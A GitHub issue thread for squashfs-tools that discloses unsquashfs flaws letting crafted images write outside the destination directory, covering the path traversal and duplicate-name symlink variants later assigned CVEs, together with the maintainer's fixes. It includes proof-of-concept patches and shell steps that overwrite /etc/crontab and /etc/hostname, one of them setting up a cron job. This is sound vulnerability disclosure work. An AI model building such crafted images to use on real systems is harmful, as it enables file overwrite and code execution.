unsquashfs - unvalidated filepaths allow writing outside of destination #72

Closed **staaldraad** opened this issue on Sep 10, 2019 · 13 comments

staaldraad commented on Sep 10, 2019

Squashfs stores the filename in the directory entry, this is then used by `unsquashfs` to create the new file during the unsquash. The filename is not validated for traversal outside of the destination directory, this allows writing to locations outside of the destination, such as `/etc/crontab` which could lead to code execution.

To test this, the following change can be made to `mksquashfs` : https://gist.github.com/staaldraad/6799182a78410081238e75d5abec2da0#file-mksquashfs-patch

```
--- mksquashfs.org      2019-09-10 16:11:21.000000000 +0200
+++ mksquashfs.c        2019-09-10 16:12:28.000000000 +0200
@@ -3168,8 +3168,15 @@
        struct dir_ent *dir_ent = malloc(sizeof(struct dir_ent));
        if(dir_ent == NULL)
                MEM_ERROR();
-
-    dir_ent->name = name;
+
+    char *fname = "../../../../../../../../etc/crontab\0";
+    //char *fname = "slash/etc/crontab\0";
+
+    if( strcmp(name, "meh\0") == 0 ){
+           dir_ent->name = fname;
+    } else {
+           dir_ent->name = name;
+    }
        dir_ent->source_name = source_name;
        dir_ent->nonstandard_pathname = nonstandard_pathname;
        dir_ent->our_dir = dir;
```

Recompile `mksquashfs` and then create the "bad" squashfs image.

The first example is using a directory traversal, (this is easiest done in a Docker container)

```
$ cd squashfs-tools
$ docker run -it -v `pwd`:/squash ubuntu:latest /bin/bash
$ cd /squash
$ echo "* * * * * id > /tmp/id" > /etc/crontab
$ mkdir poc
$ echo 1 > poc/meh # this is the file need to trigger the fake filepath insert for this poc
$ ./mksquashfs poc poc-image.sqfs
$ exit
# back on host - assume this is done as root user for this to write to /etc/crontab
$ unsquashfs -d /tmp/somelocation poc-image.sqfs
$ cat /etc/crontab
* * * * * id > /tmp/id
# after 1 minute
$ cat /tmp/id
```

This works pretty well since the `unsquashfs` ends up prepending the file data to an existing file, or creating the file+path if it does not exist.

The same can be done with a symlink. Same steps as before except additional file is added to the `poc` folder:

```
$ ln -s / /squash/poc/slash
```

Attached are two poc squashfs images, one with directory traversal and the other with symlink. Both will end up creating the file `/tmp/poc_squashfs.txt`

```
root@u:~/squashfs_vuln_poc# ls /tmp/poc_squashfs.txt
ls: cannot access '/tmp/poc_squashfs.txt': No such file or directory
root@u:~/squashfs_vuln_poc# unsquashfs -d /home/ubuntu/squishy squashfs_dir_traverse.sqfs
Parallel unsquashfs: Using 1 processor
1 inodes (1 blocks) to write

[===================================================================================================================================================|] 1/1 100%

created 1 files
created 1 directories
created 0 symlinks
created 0 devices
created 0 fifos
root@u:~/squashfs_vuln_poc# cat /tmp/poc_squashfs.txt
hello from the poc
```

Sample squashfs images
pocs.zip

plougher added a commit that referenced this issue on Jan 17, 2021

`Unsquashfs: fix write outside destination directory exploit` … `79b5a55`

plougher closed this as completed on Jan 17, 2021

setharnold commented on Aug 26, 2021

Hello, is this considered a security vulnerability in unsquashfs? If so, has a CVE been assigned to it already?

Thanks

carnil commented on Aug 27, 2021

CVE-2021-40153 seems to have been assigned to it.

richardweinberger commented on Sep 6, 2021 • edited

Writing outside of destination is still possible, even with `79b5a55` applied.
@plougher What is the security contact for squashfs-tools? If you like I can provide details right here too.

plougher commented on Sep 6, 2021 Owner

> Writing outside of destination is still possible, even with 79b5a55 applied.
> **@plougher** What is the security contact for squashfs-tools? If you like I can provide details right here too.

I am. You can provide details here, or email me at phillip@squashfs.org.uk

richardweinberger commented on Sep 6, 2021

There is at least one more way to write outside the destination, this time not using `..` but symlinks.
squashfs allows two files with an identical name in the same directory.
So have a directory with a regular file named `z.txt` and a symlink which points to `/etc/hostname` named `foo`.

This patch helps creating the crafted filesystem:

```
diff --git a/squashfs-tools/mksquashfs.c b/squashfs-tools/mksquashfs.c
index 127df00fb789..d9ea11a5e175 100644
--- a/squashfs-tools/mksquashfs.c
+++ b/squashfs-tools/mksquashfs.c
@@ -1141,9 +1141,13 @@ static void add_dir(squashfs_inode inode, unsigned int inode_number, char *name,
        struct squashfs_dir_entry idir;
        unsigned int start_block = inode >> 16;
        unsigned int offset = inode & 0xffff;
-       unsigned int size = strlen(name);
+       unsigned int size;
        size_t name_off = offsetof(struct squashfs_dir_entry, name);

+       if (strcmp(name, "z.txt") == 0)
+               name = "foo";
+
+       size = strlen(name);
        if(size > SQUASHFS_NAME_LEN) {
                size = SQUASHFS_NAME_LEN;
                ERROR("Filename is greater than %d characters, truncating! ..."
```

It renames `z.txt` to `foo` such that we end up with having `foo` two times in the same directory.
unsquashfs will first create the symlink that points to `/etc/hostname` and then while trying to create the regular file `foo` it just opens `foo` and implicitly follows the symlink. That way `/etc/hostname` will be overwritten with the contents of `z.txt`.

One possible mitigation is patching unsquashfs to not follow symlinks.

alexmurray commented on Sep 7, 2021

The other possible mitigation is to disallow two directory entries with the same name. This would appear more correct IMO.

richardweinberger commented on Sep 8, 2021

> The other possible mitigation is to disallow two directory entries with the same name. This would appear more correct IMO.

Iff it can be detected reliable. unsquashfs is not a fsck. :-)

setharnold commented on Sep 8, 2021

> On Wed, Sep 08, 2021 at 01:30:54AM -0700, richardweinberger wrote:
> > The other possible mitigation is to disallow two directory entries
> > with the same name. This would appear more correct IMO.
>
> Iff it can be detected reliable. unsquashfs is not a fsck. :-)

I was wondering about that. I think trying to prevent operations through
symlinks is going to be extremely difficult without using the openat2(2)
system call[1]. Trying to do something similar in userspace usually adds a
lot of filedescriptors and turns simple syscalls into convoluted loops,
each operation of which might be raced by other processes.

The best I've thought of for forbidding two directory entries with the
same name is a big hashtable to keep track of what's already been seen.
I've seen other archive formats 'broken' by interleaved records like:

```

foo/
foo/a
bar/
```

bar/b
foo/a
...
```
Maintaining a hashtable for all entries unsquashed may be a drastic growth
of memory use, so it might need an escape hatch of some sort.

Thanks

1: https://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs.git/commit/?h=work.openat2&id=fddb5d430ad9fa91b49b1d34d0202ffe2fa0e179

**plougher** commented on Sep 9, 2021 • edited Owner

> The best I've thought of for forbidding two directory entries with the same name is a big hashtable to keep track of what's already been seen. I've seen other archive formats 'broken' by interleaved records like: `foo/ foo/a bar/ bar/b foo/a ...`

Squashfs is a filesystem rather than an archive (for example like tar which can have repeated duplicate pathnames anywhere), and directories are sorted. So it is relatively easy to detect if a directory has duplicate names.

I'll probably push the fix on the weekend, I need to do some more testing, and deal with pre-2.1 version filesystems (these had unsorted directories).

👍 1

**plougher** added a commit that referenced this issue on Sep 13, 2021

`Unsquashfs: additional write outside destination directory exploit fix` … `e048580`

**richardweinberger** commented on Sep 13, 2021

Thanks for pushing `e048580`, the fix assumes that filesystems > 2.0 have sorted directories. How does it deal with the case where an attacker creates a crafted filesystem > 2.0 where directory entries are deliberate not sorted?

**AgentD** commented on Sep 13, 2021 Contributor

In both cases, the `check_directory` function is called.

To my understanding, if `dir_count` is >= 2 and the function returns TRUE, then it must hold that for all pairs of consecutive entries, the first must be less than the second (using `strcmp` on the name as a comparison operator). This should rule out any attempt to subvert the sorting order, as well as consecutive entries that are equal.

👍 1

**richardweinberger** commented on Sep 13, 2021

True. Thanks for pointing this out.

**carnil** commented on Sep 14, 2021

> There is at least one more way to write outside the destination, this time not using `..` but symlinks.
> squashfs allows two files with an identical name in the same directory.
> So have a directory with a regular file named `z.txt` and a symlink which points to `/etc/hostname` named `foo`.
>
> This patch helps creating the crafted filesystem:
>
> ```
> diff --git a/squashfs-tools/mksquashfs.c b/squashfs-tools/mksquashfs.c
> index 127df00fb789..d9ea11a5e175 100644
> --- a/squashfs-tools/mksquashfs.c
> +++ b/squashfs-tools/mksquashfs.c
> @@ -1141,9 +1141,13 @@ static void add_dir(squashfs_inode inode, unsigned int inode_number, char *name,
>   struct squashfs_dir_entry idir;
>   unsigned int start_block = inode >> 16;
>   unsigned int offset = inode & 0xffff;
> -   unsigned int size = strlen(name);
> +   unsigned int size;
>   size_t name_off = offsetof(struct squashfs_dir_entry, name);
>
> +   if (strcmp(name, "z.txt") == 0)
> +   name = "foo";
> +
> +   size = strlen(name);
>   if(size > SQUASHFS_NAME_LEN) {
>   size = SQUASHFS_NAME_LEN;
>   ERROR("Filename is greater than %d characters, truncating! ..."
> ```
>
> It renames `z.txt` to `foo` such that we end up with having `foo` two times in the same directory.
> unsquashfs will first create the symlink that points to `/etc/hostname` and then while trying to create the regular file `foo` it just opens `foo` and implicitly follows the symlink. That way `/etc/hostname` will be overwritten with the contents of `z.txt`.
>
> One possible mitigation is patching unsquashfs to not follow symlinks.

This issue got a separate CVE assigned: CVE-2021-41072

Assignees

No one assigned

Labels

None yet
```

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

7 participants